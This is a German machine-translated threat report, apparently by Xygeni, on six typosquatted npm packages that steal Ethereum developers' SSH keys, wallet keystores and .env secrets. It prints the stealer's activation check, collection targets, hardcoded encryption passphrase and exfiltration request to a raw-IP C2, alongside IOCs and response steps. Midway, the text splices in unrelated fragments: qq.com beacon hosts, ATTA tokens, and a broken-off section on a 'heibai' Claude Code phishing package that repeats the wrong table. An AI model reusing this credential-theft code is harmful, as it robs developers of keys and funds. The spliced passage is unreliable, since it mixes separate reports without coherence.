EVMDeFi npm Typosquatting-Angriff stiehlt Entwicklerschlüssel

EVM/DeFi npm Typosquatting-Angriff stiehlt Entwicklerschlüssel

TL; DR

Am 6. Mai 2026 wird ein einzelner npm-Publisher namikazesarada010206, hat sechs schädliche Pakete verbreitet, die auf das Entwickler-Ökosystem von Ethereum, Solidity und DeFi abzielen.

Die Pakete, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils und web3-utils-core, verwendeten plausible Namen, die wie Hilfsbibliotheken für gängige Web3-Tools aussehen sollten.

Alle sechs Packungen enthielten dasselbe telemetry.js Datei. Die Datei war im gesamten Cluster byte-identisch und hatte folgenden SHA-256-Hash:

SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1

Die Malware wird bei der Installation nicht ausgeführt. Es gibt keine preinstall or postinstall Stattdessen wird es aktiviert, wenn das Paket über den Hook importiert wird. require().

Dieses Detail ist wichtig.

Das Implantat wartet, bis ein Entwickler das Paket tatsächlich verwendet. Dann prüft es, ob die Workstation einer echten Ethereum-/Solidity-Entwicklungsumgebung entspricht. Es sucht nach Alchemy- oder Infura-Schlüsseln, privaten Schlüsseln, Mnemonics, Deployer-Schlüsseln oder einem lokalen Foundry-Verzeichnis.

Wenn der Host übereinstimmt, sammelt der Stealer SSH-Privatschlüssel sowie Schlüsselspeicher der Wallets Foundry/Geth/Brownie. .env* Dateien und sensible Umgebungsvariablen werden verschlüsselt. Das Paket wird mit AES-256-GCM unter Verwendung einer fest codierten Passphrase verschlüsselt und an einen unverschlüsselten IPv4-C2-Endpunkt mit deaktivierter TLS-Verifizierung exfiltriert.

Das Malware-Frühwarnsystem (MEW) von Xygeni bestätigte, dass alle sechs Pakete schädlich sind. Der Bericht zur Entfernung aus dem npm-Repository steht noch aus.

Das Cluster: Sechs Pakete, ein Verlag

Das Herausgeberkonto namikazesarada010206 wurde mit der nicht verifizierten Gmail-Adresse verknüpft namikazesarada010206@gmail.com.

Die Kampagne startete am 6. Mai 2026 als eintägige Veröffentlichungsaktion. Alle sechs Pakete wurden in folgenden Versionen angeboten: 1.0.0Es hatte keinerlei Laufzeitabhängigkeiten und lieferte nur drei Dateien aus:

package.json
index.js
telemetry.js

Sie haben außerdem dasselbe Quellcode-Repository angegeben:

https://github.com/harunosakura030303-maker/evmchain-config

Die ersten drei Pakete wurden bei ihrer ersten Veröffentlichung von MEW-Scannern erkannt. Die verbleibenden drei wurden nach einer Überprüfung des npm-Profils des Herausgebers durch Analysten zwangsweise markiert. Sobald die gleiche byteidentische telemetry.js Da dies im gesamten Cluster bestätigt wurde, wurden sie aufgrund der Übereinstimmung als bösartig eingestuft.

Verpackung Version npm veröffentlicht MEW-Ticket Urteil
viem-core 1.0.0 2026-05-06 01:38:44Z #51049 Bösartig
viem-utils-core 1.0.0 2026-05-06 #51050 Bösartig
hardhat-core-utils 1.0.0 2026-05-06 #51051 Bösartig
evm-utils 1.0.0 2026-05-06 #51069 Bösartig, aufgrund seiner Konstanz.
Foundry-Utils 1.0.0 2026-05-06 #51071 Bösartig, aufgrund seiner Konstanz.
web3-utils-core 1.0.0 2026-05-06 #51070 Bösartig, aufgrund seiner Konstanz.

Die Namensstrategie ist einfach, aber effektiv.

Diese Pakete imitieren nicht die exakten Namen der Originalpakete. Stattdessen verwenden sie plausible „Utility“-Suffixe wie zum Beispiel -core, -utils und -utils-coreDadurch wirken sie wie Begleitbibliotheken, die ein Entwickler in der Nähe von Web3-Tools erwarten würde.

Schadpaket Legitimes Ziel
viem-core viem, ein beliebter Ethereum TypeScript-Client
viem-utils-core Viem
hardhat-core-utils Hardhat, eine gängige Solidity-Entwicklungsumgebung
evm-utils Generischer EVM-Tooling-Namespace
Foundry-Utils Foundry, eine Solidity-Toolchain
web3-utils-core web3-utils, Web3.js-Hilfsprogramme

Dies ist das Muster des „Zusatzpakets“: nicht „Ich bin das eigentliche Paket“, sondern „Ich sehe aus wie ein vernünftiger Helfer um das eigentliche Paket herum.“

Für DeFi-Entwickler, die schnell agieren, birgt das bereits ein gewisses Risiko.

Was passiert beim Import des Pakets?

Die Angriffskette ist klein, gezielt und auf Krypto-Entwicklungsumgebungen ausgerichtet.

Es gibt keinen Installations-Hook. Stattdessen enthält jedes Paket eine index.js Das exportiert eine Stub-Funktionalität und lädt dann das bösartige Telemetriemodul.

require('./telemetry').init();

Das bedeutet, dass die Schadsoftware beim ersten Import aktiviert wird.

Das ist für Angreifer operativ nützlich. Viele Scanner und Sandboxes konzentrieren sich auf das Verhalten während der Installation. Dieses Paket wartet, bis es tatsächlich von einem Entwickler, einem Build-Skript, einer Testsuite oder einem Laufzeitpfad verwendet wird.

Aktivierungstor: Funktioniert nur auf echten Web3-Entwickler-Workstations

Der wichtigste Teil des Implantats ist das Aktivierungstor.

Die Malware sucht nach Umgebungsvariablen, die üblicherweise auf Entwicklerrechnern von Ethereum/Solidity zu finden sind:

const indicators = [
  process.env.ALCHEMY_API_KEY,
  process.env.INFURA_KEY,
  process.env.PRIVATE_KEY,
  process.env.MNEMONIC,
  process.env.DEPLOYER_KEY,
].filter(Boolean);

Es wird auch geprüft, ob Foundry installiert zu sein scheint:

fs.existsSync(path.join(os.homedir(), '.foundry'))

Wenn keine der beiden Bedingungen zutrifft, gibt die Funktion einen Wert zurück und tut nichts.

Dadurch wird das Paket in allgemeinen Analyseumgebungen weniger auffällig. In einer Sandbox ohne Foundry-, Alchemy-, Infura-, private oder mnemonische Schlüssel kann der Import harmlos erscheinen.

Auf einem passenden Host wartet die Malware 60 bis 90 Sekunden, bevor sie Daten sammelt:

setTimeout(() => { try { _collect(); } catch {} },
          60000 + Math.random() * 30000).unref();

Die Verzögerung verringert die offensichtliche Korrelation zwischen Import und Exfiltration. .unref() Der Aufruf ermöglicht es dem Hostprozess außerdem, sich normal zu beenden, wenn das Paket in einem kurzlebigen Skript importiert wurde.

Dies ist kein unkontrolliertes, wahlloses Zugriffsverhalten. Es handelt sich um einen gezielten Stealer, der nur dann ausgeführt wird, wenn die Entwicklerumgebung einen solchen Zugriff wert ist.

Was der Dieb sammelt

Sobald die Aktivierungsschwelle überschritten ist, sammelt die Malware Daten aus Quellen, die für die Web3-Entwicklung von größter Bedeutung sind: private Schlüssel, Wallet-Keystores, Deployment-Anmeldeinformationen, Cloud-Secrets, npm-Tokens und lokale Projektkonfigurationen.

Quelle Was wird gesammelt?
prozess.env Jede Variable, die mit /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i übereinstimmt
~/.ssh/* Dateien, die PRIVATE KEY oder BEGIN OPENSSH enthalten, einschließlich des vollständigen Dateiinhalts
~/.foundry/keystores/* Foundry Wallet Keystore-Dateien
~/.ethereum/keystore/* Geth Wallet Keystore-Dateien
~/.brownie/accounts/* Brownie Wallet Keystore-Dateien
${cwd}/.env Vollständiger Dateiinhalt
${cwd}/.env.local Vollständiger Dateiinhalt
${cwd}/.env.production Vollständiger Dateiinhalt
${cwd}/.env.development Vollständiger Dateiinhalt
os.hostname() Host-Metadaten
crypto.randomUUID() Opfer-/Sitzungskennung
Datum.jetzt() Sammlungszeitstempel
otheve.beacon.qq.com
oth.str.beacon.qq.com
h.trace.qq.com

Die ATTA-Token sind:

ATTA_ID 00400014144
ATTA_TOKEN 6478159937

Wir konnten nicht bestätigen, ob es sich bei den Telemetriedaten um die eigenen Analysedaten des Betreibers oder um einen separat monetarisierten Kanal handelte. Die ATTA-Token sind in beiden untersuchten Stichproben identisch.

Cluster B: heibai

claude.hk OAuth-Phishing + ANTHROPIC_BASE_URL-Hijacking

Die am 1. April entnommene Probe ist der gröbere, frühere Teil der Kampagne.

heibai:2.1.88-claude.hk-4 wurde veröffentlicht von wuguoqiangvip28, ein Konto, erstellt am 7. Juni 2025. Das Paket hat sich explizit anhand der legitimen Versionsnummer selbst versioniert. 2.1.88 Anthropische Freisetzung.

Es kümmert sich nicht um CA-Zertifikat-MITM. Stattdessen täuscht es den Benutzer bezüglich des OAuth-Endpunkts.

Zu den bösartigen Ergänzungen des durchgesickerten Claude-Code-Quellcodes gehören:

Quelle Was wird gesammelt?
prozess.env Jede Variable, die mit /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i übereinstimmt
~/.ssh/* Dateien, die PRIVATE KEY oder BEGIN OPENSSH enthalten, einschließlich des vollständigen Dateiinhalts
~/.foundry/keystores/* Foundry Wallet Keystore-Dateien
~/.ethereum/keystore/* Geth Wallet Keystore-Dateien
~/.brownie/accounts/* Brownie Wallet Keystore-Dateien
${cwd}/.env Vollständiger Dateiinhalt
${cwd}/.env.local Vollständiger Dateiinhalt
${cwd}/.env.production Vollständiger Dateiinhalt
${cwd}/.env.development Vollständiger Dateiinhalt
os.hostname() Host-Metadaten
crypto.randomUUID() Opfer-/Sitzungskennung
Datum.jetzt() Sammlungszeitstempel

Die Zielliste ist sehr spezifisch. Es handelt sich nicht um allgemeinen Browserdiebstahl oder das Ausspähen von Zugangsdaten im großen Stil. Gezielt sind Entwickler, die Ethereum-Anwendungen erstellen, testen, bereitstellen oder betreiben.

Die Einbindung der Keystores von Foundry, Geth und Brownie ist besonders wichtig. Diese Dateien können direkten Zugriff auf Wallets oder Deployment-Identitäten ermöglichen. Gelingt es Angreifern, diese mit Passwörtern, Wiederherstellungsschlüsseln oder Umgebungsgeheimnissen zu kombinieren, können sie möglicherweise Gelder transferieren, sich als Deployer ausgeben oder Smart-Contract-Operationen kompromittieren.

Verschlüsselung vor der Datenexfiltration

Die Schadsoftware verschlüsselt die gesammelten Daten, bevor sie diese versendet.

const key = crypto.createHash('sha256').update(K).digest();
const iv = crypto.randomBytes(12);
const cipher = crypto.createCipheriv('aes-256-gcm', key, iv);

Die fest codierte Passphrase lautet:

a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1d

Die endgültige Nutzlast ist als JSON verpackt:

{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"}

Verschlüsselung macht Schadsoftware an sich nicht fortschrittlicher. Sie erschwert jedoch die Netzwerküberwachung. Ein Verteidiger, der den ausgehenden Datenverkehr überwacht, würde zwar eine JSON-Nutzlast sehen, aber nicht die gestohlenen Schlüssel, Wallet-Dateien oder … .env Inhalte ohne die fest codierte Passphrase und Entschlüsselungslogik.

Exfiltration zu einem Raw IPv4 C2

Der Exfiltrationspfad ist fest codiert:

const req = https.request({
  hostname: '76.13.37.80', port: 8443,
  path: '/api/v1/telemetry', method: 'POST',
  headers: { 'Content-Type': 'application/json', ... },
  rejectUnauthorized: false, timeout: 8000,
}, () => {});

Die Schadsoftware sendet Daten an:

https://76.13.37.80:8443/api/v1/telemetry

Zwei Details fallen besonders auf.

Erstens handelt es sich bei der C2-Adresse um eine einfache IPv4-Adresse und nicht um eine Domäne. Dadurch entfällt die Notwendigkeit einer Domänenregistrierung und einige domänenbasierte Erkennungsmechanismen werden vermieden.

Zweitens ist die TLS-Verifizierung deaktiviert mit:

rejectUnauthorized: false

Dadurch kann die Schadsoftware beliebige Zertifikate akzeptieren, einschließlich selbstsignierter Zertifikate. Mit anderen Worten: Der Angreifer erhält verschlüsselte Datenübertragung, ohne ein gültiges öffentliches Zertifikat zu benötigen.

Es gibt keine Wiederholungslogik und keinen Ausweichhost. Fehler werden stillschweigend ignoriert. Dadurch bleibt das Paket unauffällig, falls der C2-Server offline oder nicht erreichbar ist.

Warum diese Kampagne wichtig ist

Die meisten bösartigen npm-Pakete, die auf Entwickler abzielen, versuchen, an umfassende Zugangsdaten zu gelangen: npm-Tokens, AWS-Schlüssel, GitHub-Tokens oder .npmrc Dateien.

Diese Kampagne verengt den Zielkreis.

Es sucht nach Anzeichen dafür, dass die Maschine einem Ethereum- oder Solidity-Entwickler gehört. Dann ruft es genau die Assets ab, die in dieser Umgebung wichtig sind: Wallet-Keystores, private Schlüssel, Mnemonics, Deployer-Schlüssel, .env Dateien und SSH-Schlüssel.

Das macht die Kampagne für Web3-Teams gefährlicher als einen generischen npm-Stealer.

Eine erfolgreiche Infektion könnte Folgendes aufdecken:

  • Bereitstellungs-Wallets
  • Smart-Contract-Administratorschlüssel
  • RPC-Anbieterschlüssel
  • Anmeldeinformationen für die Cloud-Bereitstellung
  • npm-Veröffentlichungstoken
  • SSH-Zugriff auf die Entwickler- oder Build-Infrastruktur
  • Projektgeheimnisse werden gespeichert in .env Dateien
  • Wallet-Keystores für Foundry, Geth oder Brownie

Die Paketnamen zeugen ebenfalls von klarem Social Engineering. Sie zielen über vertraute Toolnamen auf das Web3-Entwickler-Ökosystem ab: viem, hardhat, foundry, evm und web3.

Der Schauspieler muss die realen Projekte nicht beeinträchtigen. Er benötigt lediglich einen Entwickler, der ein scheinbar sinnvolles Begleitpaket installiert.

Indikatoren für eine Kompromittierung und deren Aufdeckung

Pakete und Herausgeber
Feld Wert
npm-Publisher namikazesarada010206
E-Mail-Adresse des Herausgebers namikazesarada010206@gmail.com
Email überprüft Nein
SCM verified Nein
Reputationspunktzahl 1.0
Pakete viem-core, viem-utils-core, hardhat-core-utils, evm-utils, Foundry-utils, web3-utils-core
Versionen Alle 1.0.0
Quellcode-Repository https://github.com/harunosakura030303-maker/evmchain-config
Bestätigt bösartig Alle sechs Pakete
Netzwerk
Typ Wert
C2-Endpunkt https://76.13.37.80:8443/api/v1/telemetry
C2 IP 76.13.37.80
C2-Anschluss 8443 / TCP
TLS-Verhalten rejectUnauthorized: false
Nutzlastschema {"v":2,"iv": ,"D": ,"T": }
Dateien und Hashes
Typ Wert
telemetry.js SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1
Verpackungslayout package.json, index.js, telemetry.js
Anzahl der Dateien 3
Ungefähre Gesamtgröße 3.4 KB

Aktivierungssignale

Die Schadsoftware prüft folgende Umgebungsvariablen:

ALCHEMY_API_KEY
INFURA_KEY
PRIVATE_KEY
MNEMONIC
DEPLOYER_KEY

Es prüft außerdem Folgendes:

~/.foundry/

Ziel-Hostpfade

~/.ssh/*
~/.foundry/keystores/*
~/.ethereum/keystore/*
~/.brownie/accounts/*
${cwd}/.env
${cwd}/.env.local
${cwd}/.env.production
${cwd}/.env.development

Sammlungs-Regex

/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i

Erkennungsnotizen

Mehrere Regeln erfassen diese Kampagne, ohne dass eine vollständige Verhaltensanalyse erforderlich ist.

Zuerst müssen die Sperrdateien nach den sechs schädlichen Paketnamen durchsucht werden:

viem-core
viem-utils-core
hardhat-core-utils
evm-utils
foundry-utils
web3-utils-core

Jede Übereinstimmung in package-lock.json, yarn.lock, pnpm-lock.yamlden node_modules Historische Ereignisse sollten als schwerwiegende Vorfälle behandelt werden.

Zweitens, überwachen Sie Node.js-Prozesse, die auf die Pfade des Wallet-Keystores zugreifen:

~/.foundry/keystores/
~/.ethereum/keystore/
~/.brownie/accounts/

Dies ist selten ein legitimes Verhalten für ein als Hilfsabhängigkeit importiertes Paket. Besonders verdächtig ist es, wenn anschließend ausgehende Netzwerkaktivitäten erfolgen.

Drittens, HTTPS-Verbindungen zu folgenden Verbindungen blockieren oder eine Warnung ausgeben:

76.13.37.80:8443

Insbesondere wenn der Anfragepfad wie folgt lautet:

/api/v1/telemetry

Viertens, suchen Sie nach npm-Paketen, die diese Eigenschaften vereinen:

  • Neuer oder wenig angesehener Verlag
  • Nicht verifiziertes Gmail-Konto
  • Web3-angrenzender Paketname
  • Keine aussagekräftige Repository-Historie
  • Layout für winzige Verpackungen
  • index.js das eine Telemetrie- oder Hilfsdatei lädt
  • Keine Laufzeitabhängigkeiten
  • Erfassung sensibler Umgebungsvariablen
  • Zugriff auf den Wallet-Schlüsselspeicher

Dieses Muster ist nützlicher als ein einzelner IOC, da das nächste Paket zwar die IP-Adresse ändern kann, die Targeting-Logik aber gleich bleibt.

Checkliste für die Reaktion auf Kompromisse

Wenn ein Entwickler eines der sechs Pakete verwendet hat und seine Umgebung mit dem Aktivierungsgate übereinstimmt, wird die Workstation als kompromittiert betrachtet.

Dies umfasst Maschinen mit installiertem Foundry, Alchemy- oder Infura-Schlüsseln in der Umgebung, privaten Schlüsseln, Mnemonics oder Deployer-Schlüsseln.

Empfohlene Antwort:

  • Trennen Sie den Host vom Netzwerk.
  • Bewahren node_modules, Sperrdateien, Shell-Verlauf und relevante Protokolle für forensische Untersuchungen.
  • Rotieren Sie jedes SSH-Schlüsselpaar unter ~/.ssh/.
  • Wallet-Schlüssel für jeden Keystore rotieren unter ~/.foundry, ~/.ethereum und ~/.brownie.
  • Gelder in neue Wallets transferieren.
  • Drehe jedes gespeicherte Geheimnis durch .env* Dateien in Repositories, in denen der Entwickler gearbeitet hat.
  • Rotieren Sie Umgebungsgeheimnisse, die dem regulären Ausdruck der Sammlung entsprechen, einschließlich AWS-Schlüssel, npm-Token, Bereitstellungstoken, API-Schlüssel, private Schlüssel, Seeds und Mnemonics.
  • Überprüfen Sie die Aktivitäten von Cloud, npm, GitHub, RPC-Provider und Blockchain seit der Erstinstallation des Pakets.
  • Die Workstation muss vor der Wiederverwendung neu installiert werden.

Was Verteidiger mitnehmen sollten

Diese Kampagne zeigt, wie sich npm-Typosquatting im Umfeld von hochwertigen Entwickler-Ökosystemen entwickelt.

Der Akteur benötigte keine Persistenz. Er benötigte keine Verschleierung. Er benötigte nicht einmal eine Ausführung zur Installationszeit.

Stattdessen stützten sie sich auf drei Dinge:

  • Plausible Web3-Paketnamen
  • Aktivierung nur auf echten Krypto-Entwicklungsmaschinen
  • Direkter Diebstahl der Dateien und Geheimnisse, die für Ethereum-Entwickler am wichtigsten sind.

Das macht die Kampagne bei einer allgemeinen Überprüfung leicht übersehbar und gefährlich, wenn sie im richtigen Umfeld landet.

Für Web3-Teams ist die Lehre klar: Abhängigkeitsnamen müssen als Teil des Bedrohungsmodells behandelt werden. Ein Paket, das wie ein harmloses Hilfsprogramm aussieht, kann dennoch der schnellste Weg zu einem Datenleck sein.

Der Fehler wurde der npm-Registry gemeldet. Wir werden diesen Beitrag aktualisieren, sobald das Herausgeberkonto und die Pakete entfernt wurden.

SCA-Tools-Software-Zusammensetzungs-Analyse-Tools
Priorisieren, beheben und sichern Sie Ihre Softwarerisiken
7-Tage kostenlose Testversion
Keine Kreditkarte erforderlich

Sichern Sie Ihre Softwareentwicklung und -bereitstellung

mit der Xygeni-Produktsuite